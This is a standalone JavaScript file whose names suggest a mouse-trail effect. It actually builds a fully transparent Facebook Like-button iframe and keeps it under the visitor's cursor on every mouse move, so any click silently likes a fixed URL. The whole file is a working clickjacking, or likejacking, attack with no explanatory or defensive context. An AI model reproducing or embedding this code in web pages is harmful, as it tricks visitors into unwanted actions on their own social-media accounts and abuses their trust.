if (document.getElementById || document.all)
  document.write('<div id="trailimageid" style="position:absolute;left:0px;top:0px;width:700px;height:150px"><iframe id="ifra" src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.google.de/&layout=standard&show-faces=true&width=650&action=like&colorscheme=light" scrolling=no frameborder=0 width="30px" height="25px" style="opacity:.0;filter: alpha(opacity=0); -moz-opacity: 0.0;"></iframe></div>')

function gettrailobj(){
  if (document.getElementById)
    return document.getElementById("trailimageid").style
  else if (document.all)
    return document.all.trailimagid.style
}

function truebody(){
  return (!window.opera && document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function followmouse(e){
  var xcoord= 0
  var ycoord= 0
  if (typeof e != "undefined"){
    xcoord+=e.pageX - 10
    ycoord+=e.pageY - 10
  } else if (typeof window.event !="undefined"){
    xcoord+=truebody().scrollLeft+event.clientX 
    ycoord+=truebody().scrollTop+event.clientY
  }
  var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth : pageXOffset+window.innerWidth-15
  var docheight=document.all? Math.max(truebody().scrollHeight, truebody().clientHeight) : Math.max(document.body.offsetHeight, window.innerHeight)
  if (xcoord+50+3>docwidth || ycoord+50> docheight)
    gettrailobj().display="none"
  else 
    gettrailobj().display=""
  gettrailobj().left=xcoord+"px"
  gettrailobj().top=ycoord+"px"
}

document.onmousemove=followmouse
